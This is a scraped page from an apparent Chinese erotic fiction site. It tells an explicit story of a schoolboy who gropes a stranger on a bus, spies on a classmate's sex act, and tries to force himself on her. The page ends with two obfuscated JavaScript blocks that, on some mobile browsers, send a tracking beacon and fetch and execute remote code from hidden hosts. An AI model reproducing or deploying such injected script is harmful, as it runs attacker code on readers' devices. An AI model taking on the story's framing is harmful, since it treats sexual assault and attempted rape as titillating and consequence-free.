不知道是燠热还是身体的分泌物,小风手捞向美人姐姐两腿间的暖热肉团,有一种潮湿的感觉,像刚脱过水的衣物,有水的感觉却没有水的存在,那鼓鼓的肉团应该算是阴唇的尾端,而刚刚掉落的谷地中央,一定就是花蕾的位址。透过蕾丝的缝隙,小风可以感觉肉团中央有翻出的肉瓣,热唿唿、滑熘熘,好像还会频频向外吐气。

美人姐姐开始不安的移动身体,可是车厢内挤得寸步难行,动了老半天小风的手还是捞在她的阴唇外头。反而小风趁着她屁股扭动的时候,手指头抵着三角裤就往两片肉瓣中间塞,一根中指几乎彻头彻尾地埋在肉瓣中央。

小风感觉美人姐姐的嫩穴里果真冒出淫水,可是他也知道自己快不行了,老二头上的趐麻感已经提到最高点,一想起手指头湿答答的感觉就是又香又漂亮的美人姐姐屁股中间的小穴穴,就有一大团东西要从小腹冲出来。

做个深唿吸,小风就让手指埋在湿暖的肉团中间,美人姐姐红着脸、低着头咽下好几口口水,尖挺的胸脯不断上下起伏,香臀一直要往前闪。

维持同样的姿势又过了一站,小风才觉得好受点,于是他伸出小指头勾开内裤,用剩下的几根指头往里头撩。

刚开始他还不敢太大力,只贴着现在已经光熘熘的穴穴口轻轻抚摸,也不知美人姐姐脑袋想些什么,穴穴口早已煳煳的一片狼藉,小阴唇翻在两旁,中间穴穴的狭缝间沾满黏稠稠的淫水,外阴唇根部还有一颗小小的痔,小风轻轻揉捏两片肉瓣,指尖沿着缝隙顽皮的挖起淫水涂向手心,却好像总挖不完般拼命由肉缝间泌出。

小风知道自己已经是强弩之末,龟头的热胀已经到达了顶点,他开始弯起中指,沿着湿滑的肉缝往美人姐姐夹紧的两股中间顶,感觉指肉乘风破浪般分开了肉瓣、进入了幽径、滑入一段淫水淋漓的甬道,接着小风再也忍耐不住,一个哆嗦,泄满一裤子黏唿唿的阳精。

“有色狼啊!!”原本嘈杂的车厢里响起一声没命的唿喊,美人姐姐拉下裙摆,住香臀,满脸红霞的转过娇躯。

数十道目光同时投向美人姐姐的身后,小风第一时间抽回手掌塞入裤袋,而旁边的上班族紧张的举起双手拼命否认。

“小姐!怎么了?”旁边另一个胖胖的ol关心的询问美人姐姐。

“有人偷摸我的大腿,还有┅┅还有臀部。”美人姐姐害臊的跟胖ol说。

“喂!司机先生停一停!车里有色狼。我们停一下,把他抓到警察局去。”

胖ol明快的向前头的司机大声喊叫。

司机没听见,他只顾着转弯停车,这时车子停靠到小风学校的前一站,趁着车厢里大伙乱轰轰的窃窃私语,小风顶着书包,死命的推挤到车门下了车。

这一站离学校不过五百米,小风大难不死、侥幸逃脱,心里不停“噗通!噗通!”地狂跳。

七点三十多分,时间还很早,两腿又酸又软,他只能沿着人行道慢慢的往前走,一直走到前面交岔路口,要左转进入小路,小风都没有看见后头的公车往前开。

“色鬼男人对不起了!让你做替罪羔羊。”

“可是┅┅可是我根本就没摸美人姐姐的大腿呀!”小风边走边感到无比纳闷。

★小君★

到了学校,已经上过三堂课,厕所也跑了好几趟,可是小风的手还是不舍得洗,想打瞌睡的时候就伸着手指头直嗅,一闻到美人姐姐小穴穴的腥臊味,不仅人醒了,连小弟弟也振作好几次。

小风的学校是二流的公立高中,男女合班,男生穿白衬衫蓝长裤,女生穿粉红衬衫蓝短裙,由女生的裙子长度与款式可以很容易分辨她们的骚包程度。

像坐在小风后面的小君,就一定是班上数一数二的大骚包,裙子改得又紧又短,离那个小穴穴快没有一个巴掌宽,还好她的屁股又圆又翘,不像大多数女同学两边屁股带团赘肉,四四方方的一如满汉豆腐。

平常小风跟同学就熟络,虽然没有一个女同学跟小风搞过,可是吃吃豆腐、上下其手倒是有的,只要不太过份,女同学也是笑骂几声,嘻嘻哈哈就过去了。

小君不只在学校里面骚,小风觉得她在外头一定更骚,听说她的性子(男朋友)是混帮派的兄弟,有时候会开台bmw等在门口,一副的二五八万的样子,小风不想被扁,这种带刺的玫瑰他可没胆碰,只敢偷偷看她曝光的三角裤,嘴巴吃吃豆腐过干瘾。

两个人就坐在前后,课暇之馀少不了口头接触,小君总以为自己美的冒泡,常常藉机撩拨小风,她最常说的一句就是∶“小风风!我当你的马子好不好?”

小风总会拼命点头,装出一副口水直流的样子,然后小君就睁大眼睛,很无奈的说∶“那你去告诉我男朋友,说你好喜欢我,希望他将我让给你。”,每次听到这里,小风就要转成摇头,嘴巴张的大大的,一副吓得半死的样子。

还有些时候,小君没坐好,不小心把裙底风光露了出来,发现小风色眯眯的盯着看,她就会其快无比的再掀开一点,然后整个盖住,嘴里悠悠的说∶“好看吧!可是我只给男朋友看,谁叫你不赶快来把我抢走!”

小风以前是个小心谨慎的人,或许说胆小更加贴切,平常在路上遇见了理平头、穿花衬衫的混混都要绕路走,而小君的男人恰巧就是这种型,叫他抢混混的女人不如要他跳楼比较快。

可是小风今天开窍了,他开始懂得逆向思考,抢小君当女朋友的下场必定灰头土脸,但搞上她却不一定非得是男女朋友呀!如果能做炮友,不是更随心所欲吗?还免去夺人所好前那令人胆寒的摊牌难题。

一个早上,为了如何做成炮友,小风真是绞尽脑汁。

“老师!我┅┅我想上厕所!”

小风闻着手指头,想得脑袋快要爆炸,听到后头小君举手要上洗手间,心里不禁纳闷起来,明明下课时间才见小君由女厕出来,隔没二十分钟,竟然又要去了,难道膀胱没力到这种地步,连一点尿液都存不住?

忍不住心中的狐疑,小君才出去没多久,小风也如法炮制一番,老师虽然让他去了,可是外带损了他一句∶“那么巧!该不会是跟潘晓君约会去吧?”

全班哄堂大笑,小风面红耳热的逃出教室,往走廊尽头看去,小君已经不见踪影。

小风沿着走廊来到尽头,往男厕所隔壁的女厕所张望,里头每一扇木门都大开着,一个人影都没有,洗手台上水渍几乎干了,只有最旁边的水龙头滴着米粒大的水珠,发出“答°°答°°答°°”的声音。

“奇怪!”小风不敢相信小君竟然消失了,正想回头往走廊另一端的厕所再找过,忽然听到厕所后面响起轻轻的笑声,还有男人嗡嗡的说话声。

“好小君,数学课不上竟然跑来约会,我倒要看看你搞些什么鬼!”小风心里浮起偷窥的念头,趁着女厕所没人,他匆匆熘到最里间,锁起门,站上水箱,把透气窗稍稍拉开一道缝隙,凑上眼睛就往外头看。

厕所与围墙间只隔了三、四米,种了一长列的小叶樟树,树丛、围墙与厕所形成了一个个私密的空间,小风知道这是坏学生们聚集抽烟的地方,可是上课时间通常没有人,要等到下课或午休时间才会热闹起来。

这时候小君跟一个理平头的社会人士坐在化粪池上的水泥地,两个人相对而坐,叼着烟正吞云吐雾,小风知道那平头男是小君的男朋友,以前看过好几次,今天仔细看才发现他的右手臂上刺着好大一尾云龙。

小君毫不避讳的坐在地上,两脚屈弓着,裙下风光刚好向着平头男,也对着自己的视线,小风可以看到里头一件棉质的白色小三角裤。

“今天算你聪明,知道带午餐来孝敬我,我看我的气消了三分之一!”小君翻看着用纸袋装着的东西,对平头男这样说。

“什么?才三分之一?你已经气一个礼拜了,连手都不给我碰,现在我从店里熘班带午餐给你,你一点都不感动!”

“是感动才会消三分之一!你把我的补习费都输给电动,总共好几万块钱,要我怎么能不生气?”小君嘟着嘴说,越想越气,不禁又抱怨一句∶“哼!说什么稳ㄟ啦!玩了好几万块钱都没有五碰┅┅连开分都来不及哩!”

“谁知道会这样?已经一个礼拜没拉积分了,照算应该要开才对嘛!”

“照算?算得到就不会有那么多人输得土土土啦,大家的想法还不是跟你一样。”

“我想说自己顾的店比较稳,谁知道┅┅唉!”平头男叹了口气。

(波波按∶这里说的是一种宾果游戏之赌博电玩,五碰连成一斜线拉累积分数,通常可以拉下好几万元,视比数而定。)

两个人香烟都已经烧到烟屁股了,丢下烟头,小君提起纸袋就要站起来,平头男一把拉住她说∶“你还回去上课干什么?不怕烟味被老师闻到呀!人家想死你了,趁这里隐密,又有点时间,你给人家抱抱嘛!”

“你忘了我还有三分之二的气吗?”小君跌坐到他身上,佯怒着扳起脸来。

“好嘛!你说,你要怎样才肯不气,我通通接受。”平头男强抱着发嗔的小君,脸上一片企求。

“早跟你说过了,这个月的薪水先拿来还我,你偏偏说不行!哼!”小君说着说着,鼻子闷哼了一声。

“我是因为想修车才不能先还你的,车子修好了,还不是大部分时间用来载你?”平头男解释道。

“是我重要?还是车子重要?没钱补习我连私立大学都考不上,而你的车子明明就还能动嘛。”

“你不是知道的吗?我的车屁股给撞凹了一大块,有人的bmw这样狼狈的吗?”平头男无奈的说。

“哼!没钱就不要装阔气,有人开宝马汽车却连三、五万块钱也还不起?”

小君撅着嘴讽刺他。

想了想,平头男嘘了口气说∶“好吧!先还你的钱罗,车子等哪一天赢了钱再修┅┅嗯!这样你总可以气消了吧!”说完两手一用力,大嘴就要往小君的樱桃小口亲下去。

小君扭开头,依旧扳着脸说∶“哪有这么简单,这也才消掉三分之一而已,我还有三分之一的乌鸦气咧!”

平头男嘴巴追着小君的香唇,左左右右折腾了好大一圈,就是追不着那张闪避游走的小咀,他只好低声下气的问∶“我的亲亲小君君,到底要怎样你才甘心不气了?”

“要完全不气很简单,这几天我气得不想理你,都没有人陪我上街买东西、喝酒、唱歌,小丽、小华叫我干脆跟你拆了算了,跟着一个赌徒是不会有好结果的,她们还拉我去牛郎店解解闷┅┅”

平头男一急,插嘴问∶“你┅┅你有去吗?”

“去?我去有什么用,这个城市就那么大,不管到哪里都有你的狐群狗党做耳目,我去能做什么事?”

“嘿嘿!知道就好!谁敢碰你一根手指头我就砍了他┅┅哈哈┅┅你还没说要怎样才不气?”平头男意态飞扬的说。

“嗯┅┅可是小丽、小华她们一海票姊妹都去玩了,我不敢去,可是我闷了那么久┅┅你要补偿人家。”

“怎么补偿?”平头男追问。

“我要你比牛郎更勤来服侍我。”

“服侍?这里又没有酒,也没有床,要我怎么服侍小君君呢?”平头男淫笑着,大手就隔着粉红色衬衫抚摸着小君的奶子。

小君推开他的手,脸红红的说∶“走开!色鬼┅┅不可以这么快┅┅我要你像小狗一样┅┅乖乖的亲人家┅┅”

“哈!要我亲这里吗?”平头男右手下移,用手掌包覆着小君裙底下的小内裤,心的问。

“啐!这里是学校咧!不准你乱来┅┅我要你亲人家的脚指头、小腿┅┅这样┅┅这样我才相信你是真心爱我。”小君笑骂了一声,然后扭怩着说出要求。

“唔!我的小君君原来喜欢这种玩法,那有什么问题!我连你的屁屁都亲过了,还有哪里不能亲的呢?”

小君一手住平头男的嘴,娇叱道∶“不准你再胡说┅┅每次都要说出来,人家听到怪不好意思的┅┅”

小风站在水箱上头听她们打情骂俏,虽然隔着面墙壁,可是一言一语都听的真真切切,他心中一直以为小君只是个爱玩的女生,没想到她的爱玩已经超出了自己所能理解的程度。

现在小风心里开始打退堂鼓了,原本想当炮友的想法好像不切实际点。

吐了吐舌头,小风继续往窗外看,后头的平头男现在已经像小狗一样伏在小君的脚掌前,嘴巴吐出红红的舌头,一根根的舔食着小君脱掉皮鞋后的脚趾头。

小君仰坐在水泥地上,两手后撑,颈子微仰,眼睛眯眯的,一副极为受用的舒服样,两只粉白的大腿连同裙里头的小内裤都不住颤抖。

“舒服吗?”平头男舌头沿着趾缝游走,嘴里抽空问道。

“嗯┅┅舒服┅┅好舒服┅┅好热┅┅好痒┅┅”

“喜欢吗?”

“喜┅┅喜欢┅┅小时候家里养的狗┅┅舔人家就是这样┅┅可是我最多也只让狗舔我的手┅┅而你的舌头比狗还灵活┅┅”

“废话!拿我跟狗比,我可是你老公,是人咧!”

舔了一会儿,平头男索性轻轻推倒小君,抓起两只莹白的小脚,一根根含弄起脚趾头,他每次吸吮,都牢牢的套住指头,然后吸葡萄一般,啧的一声,脚指头滴熘熘的滑出大嘴。

“怎样?你知道你帮我吹喇叭的时候我是什么感觉来着!就像这样子┅┅”

平头男嘴巴狠狠的套住大拇指,嘴里一阵搅动,最后含住指头不断前后套弄。

“哦┅┅喔┅┅真爽┅┅真是痒死了┅┅好┅┅好老公┅┅你的舌头┅┅好厉害┅┅好厉害┅┅”小君轻轻呻吟,不断赞叹着。

“如果你是男人的话,你就知道口交的滋味比这感觉要胜过千倍、万倍。”

小君舒服的嘶嘶吐气,十根脚趾头舔的差不多了,平头男把两只粉腿挂在肩上,舌头沿着脚踝、小腿内侧、大腿内侧一直向神秘的小内裤舔去。

“喔呜┅┅痒死人了┅┅死老公┅┅你快让我受不了┅┅”舔到大腿根部,小君机伶的一颤,禁不住娇哼出声。

“唔┅┅嗯┅┅小君君┅┅你看┅┅你的小穴穴┅┅浪的受不了┅┅连内裤都黏在洞口┅┅湿不拉叽的┅┅”

由小风的角度只看到平头男整个头埋在小君的胯下,遮住了原本看得到的小内裤,耳中听到啧啧的吸吮声,心中想到平头男的臭舌头一定就在小君的穴穴旁边舔弄,搞不好还伸窜进蜜穴里头,小风心里又是羡慕又是忌妒,酸的要命,老二在裤裆里杠的发麻,偏偏口福没人家好,连眼福也被敌人剥夺了去。

“哼!哼!看样子这小混混年纪跟自己差不多,不读书反而日子过的比自己幸福,平常我只能偷看小君君的内裤,自个儿心中幻想揣摩,而他竟连舌头都凑上去┅┅还说甚么连小君君的屁屁都尝过!哼!”小风心中泛起不平之鸣。

只听得后头小君哼哼唉唉的淫荡声越来越急,平头男一只手已经拨开小三角裤,嘴巴贴在小君穴穴口不知搞些什么,又是咕噜、咕噜又是叽叽、啧啧,就好像小狗拼命吸水一般。

“啊┅┅哎呀┅┅不要咬啦┅┅轻┅┅轻一点┅┅喔┅┅对对┅┅就是那里┅┅用力吸┅┅对┅┅用力吸┅┅啊┅┅啊┅┅”小君整个穴穴挂在人家嘴巴,一边扭动身体,一边忘情的引导。

“嗯┅┅啧┅┅啧┅┅唔┅┅一个礼拜┅┅没碰它┅┅好敏感┅┅都是浪水┅┅好浓┅┅好棒的味道┅┅”

“喔呜┅┅啊呀┅┅你┅┅你要死了┅┅不要顶我┅┅顶我的屁屁┅┅啊┅┅会死掉啦┅┅”

“嗯┅┅想不想老公的大老二插你呀┅┅要不然让你痒死喔!”

“啊┅┅不┅┅不好啦┅┅这里是学校┅┅被┅┅被同学撞见┅┅怎┅┅怎么办?”

“那你的妹妹一直想要┅┅水冒个不停┅┅你受得了?”

“唔┅┅喔┅┅你┅┅你不要碰我┅┅它┅┅它就会乖┅┅乖乖的!”

叽啧一声,平头男大力吸吮一下,掏出了粗黑的大肉棒,转身跨站在小君身上,依旧抓着小君的粉腿说∶“不管啦!人家也想死你了┅┅你帮我吹吹嘛!”

于是两个人一个抓着老二猛吞,一个埋在穴穴猛吸,女的边吞边呻吟,男的边吸边喘气,就只有小风可怜的站在窗后干瞪眼。

再这样下去,平头男一定会在自己的眼前干小君的穴穴,想起来实在令人忿恨,小风心念电转,有了主意,他打算吹皱一池春水,不让眼前这对狗男女称心如意。

“咳!后面是谁在那里胡来,乱七八糟,快给我报上学号!”小风学着训导主任的声音,大声的唿喝。

隔着窗子只见两人浑身一震,平头男慌忙的拉回小君内裤遮住发红的穴穴,伸手扶起小君,两人匆忙整了整衣衫,一个攀墙而走,另一个就窜进树丛逃遁而去。

小风心里有捉弄人后的快感,想到一对狗男女箭在弦上却不能发泄,一定难受的要命,捶了捶墙壁,小风几乎大声笑了出来。

没想到竟然有“笃得!笃得!”的急切步伐走进女厕,直往最后几间过来,那声音小风听的出正是小君改过的骚皮鞋声,于是急忙扭开门锁,就想看看小君的狼狈样跟浪荡样。

无巧不成书,小君果然心虚的躲向了最后一间,小风听见足音在门前停了下来,整个人几乎塞进门边的壁角。

大概认为上课时间没人在厕所,小君门敲也没敲,直接拉了开来,竟然没注意到门旁塞着一团人球,就向着马桶提起裙子,把三角裤退到膝盖,小手捏着一叠面纸擦拭凌乱的穴穴。

由后头小风可以看到裙子里露出的浑圆屁股,屁股底端有好多乌黑的阴毛黏在发亮的阴唇口,而两片唇瓣间有透明的淫液正被面纸一次次的擦拭掉,最受不了的是菊穴外头还亮晶晶的发散着口水的光芒。

小风几乎是蹲了下来,屏气凝神的欣赏这场自我清洁秀。

眼看小君已经重新穿回小内裤,拉下窄裙,就要转过身来,小风不知道是开熘好还是孤注一掷留下来再做算计。

想起昨天的心理建设,想到“敢”字的无比妙用,一不做、二不休,小风猛一咬牙,打算效法先贤先烈的丰功伟业,就从小君身后狠狠抱住她,一手住小嘴,一手紧紧束住纤腰。

“嘘┅┅不要叫┅┅我是小风┅┅你怎么闯进我的厕所来?”

小君甫一受制于人,原本还拼命抡动手脚死命挣扎,听见是自己同学小风,身体顿时安静下来,睁大了眼睛,吃惊的问∶“是小风?你┅┅你怎么会在女生厕所?”

“老师┅┅老师看你一直没回教室,要我出来找你,哪知道在女生厕所突然内急,眼看四下没人,干脆就在这里撇起条来。”小风急切中竟然还能掰出一套说词。

“那┅┅那┅┅我刚刚都┅┅都被你看到了?”小君突然满脸红霞。

“没有哇!我连厕所后面的声音都没听到!”小风言不由衷的说。

小君几乎羞急的掉下泪来,她粉拳捶向小风的胸膛,跳着脚说∶“唔┅┅你┅┅你骗人┅┅你骗人┅┅没听到你又怎么知道后面有声音?”

“我是真的没听到嘛!你再打我┅┅我就要生三分之一的气罗!”

“你看看┅┅你看看┅┅明明就有听到嘛!”小君抓着小风胸膛就是不依。

“听到甚么?”小风反问她一句。

“听到┅┅听到┅┅听到┅┅”这种事情叫小君怎么说得出口。

“那你刚刚低着头擦些什么东西?”小风又问了一句。

“擦┅┅擦┅┅擦┅┅擦什么东西?”小君俏脸已经涨红得像猪肝一样,嗫嗫嚅嚅的说不出话来,支吾半晌,小嘴一扁,眼看就要哭了。

这时小风竟像是开窍一般,紧紧拥住小君,温声安慰道∶“小君,不准哭!

我又不是故意听到的,反正我又不会告诉别人,也许明天一早我就忘了哩!”

“可是┅┅可是人家的┅┅人家的那里┅┅都被你看光了!”小君起伏的胸膛逐渐平缓下来,可是回头一想,自己的小穴穴被看光光,那不是更羞死人了。

“难道你想把我眼睛挖掉吗?看都看了还能怎样,不过真如你说的,的确好看的要命,哈哈!我不是你男朋友还不是清清楚楚的看到了!”

听到清清楚楚四个字小君可气煞了,拉住小风的耳朵,嗔怒的说∶“你┅┅你要死啦┅┅甚么清清楚楚┅┅快给我忘掉!”

“很难啦!这种白刨刨幼咪咪(台语∶白皙粉嫩)发红发亮的妙东西,我一辈子都忘不掉!”小风使坏的说。

“不准!要不然我把你的耳朵扭下来喂狗。”羞愧刚过,小君又回复平时骄纵的脾气,用力扭住小风的耳朵,没来由的发泼。

小风痛得闷哼了一声,讨饶道∶“一下子没办法忘掉啦!要不然我的┅┅我的老二让你看看┅┅两下子抵平算了!”

“去死啦!谁爱看你的鬼东西!不过┅┅不过┅┅现在也只能这样子啦!”

嘴里虽说不想看,可是如今解决之道就只有两羞相抵,你揭我漏洞、我握你把柄啦。

小君果然退到壁角,两手交握,睁大眼睛,就要看小风献丑。

“看仔细啦!可不要吓到了!”小风挺起胸膛,一如平时在穿衣镜前陡露肌肉般搔首弄姿起来,随着动作,他还一蹦一跳的转起圆圈,一手拉着拉炼,边转身就边往下一寸一寸拉开。

小君“噗嗤”一声笑了出来,掩嘴笑骂道∶“呵!真厚皮!你以为你是美国舞男呀!”

局促的厕所里春色无边,小风见小君羞喜交集,心里也是甜孜孜的乱舒服一把,右手一拨,得意的胯下之物已经跳了出来。

“哇!你好坏呦┅┅它怎么挺的那么大!”小君掩嘴惊唿,没料到小风的老二竟然呈激烈勃起状态。

“哈!伟大吧!比起你男朋友怎样?”小风骄傲的挺起胸膛,两手叉腰,就只有一支老二在身前不断跳动。

“哼┅┅还不是丑得要命,既然看过了,我要出去了。”小君瞄了几眼,竟然拉开门就想出去。

小风原以为她会目不转睛的直盯着大鸡巴,一边吞口水,一边露出渴望的眼色,像情色文章里头写的一样,巴不得一屁股骑上老二,立刻跟自己的神兵利器欲仙欲死一番。

“你┅┅你不喜欢它吗?┅┅它很大┅┅又┅┅又很厉害。”小风慌忙抵住门板,很吃惊的问。

“啐!你变态呀?我又不是花痴!”小君红着脸不再看小风的老二,嘴里不以为然的骂了一句。

小风有点急了,一伸手抓住小君,将她整个娇躯抱个满怀,硬梆梆的老二就贯穿小君的两股之间。

“哎呀!┅┅你干嘛?你再这样我可要喊救命了!”小君身体突然被小风紧紧抱住,粉拳挣扎的打在小风背上,嘴里出言恫吓。

小风一只大手由小君的背后伸进裙里,直接由小内裤边捞住湿润依旧的小穴穴,口中不服输的说∶“你看┅┅你看┅┅它还不是流着淫水等着人家干┅┅我┅┅我就知道刚刚你没给小混混干到┅┅骚穴痒的要死!”另一只手握住老二就想顺着肉缝强塞进去。

感觉自己阴唇有硬物要蹭入,小君娇哼一声,一嘴咬在小风耳朵上,骂了一句∶“啊!你┅┅你敢!看我叫我男朋友把你的老二剁掉!”

想到那个一脸流氓样的平头男,小风真相信他会这么做,一瞬间小风全身如坠入太平洋一般,冷飕飕的,两手不自觉松开小君,就连老二也泄了气。

“啐!没用的小风,那么胆小还想搞我,小心老二喂狗喔!”

小君离去的时候,还不忘讥笑他几句,只留下小风垂着老二坐在马桶盖上百思不解。

“奇怪咧!那么粗壮的老二,那么帅劲的我,为什么她竟会不想试试看?别的女人不是爱透了大鸡巴吗?一看到勃起的老二都恨不得马上塞进穴穴里,现在┅┅现在竟然连发浪未退的小君都不要它!”

“怎么会这样?”

小风带着满腹疑团在厕所蹲了许久,一直到下课钟响,他才蹑手蹑脚的跑回教室,还好小君不在,其他同学告诉他老师要他明天同一堂课好好做个解释,为什么上厕所需要用掉半堂课。

心情实在是糟透了,也没有脸再见到小君,既怕她兴师问罪,也怕她出言耻笑,抓起书包挂上肩头,小风一句话没说的就离开教室,也不管后头同学议论纷纷。

“外头一定有不一样的女人,一定有喜欢自己大鸡巴的女孩。”小风翻过围墙,走在通往市集的小路上,心里头还是这样想。

他打算跷课到大街上,到一些他从来也没去过的地方,也许那儿有许多骚姐姐、浪妹妹,有许多意想不到的艳遇美事,就算打死他,他也不愿意相信情色文学版贴的都是骗人的文章。

★月玫老师★

已经过中午十二点了,太阳挂在头顶上一阵阵摧吐热气,气温老早超过三十度,小风索性拉出衬衫下摆,松开胸膛上的几颗扣子,非常洒脱的走在小路上。

路上没几个行人,两旁都是老式街道,骑楼空荡荡的,人们应该全都进屋里吹冷气、


上一篇:毕业十年再相逢

下一篇:车震之体验


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};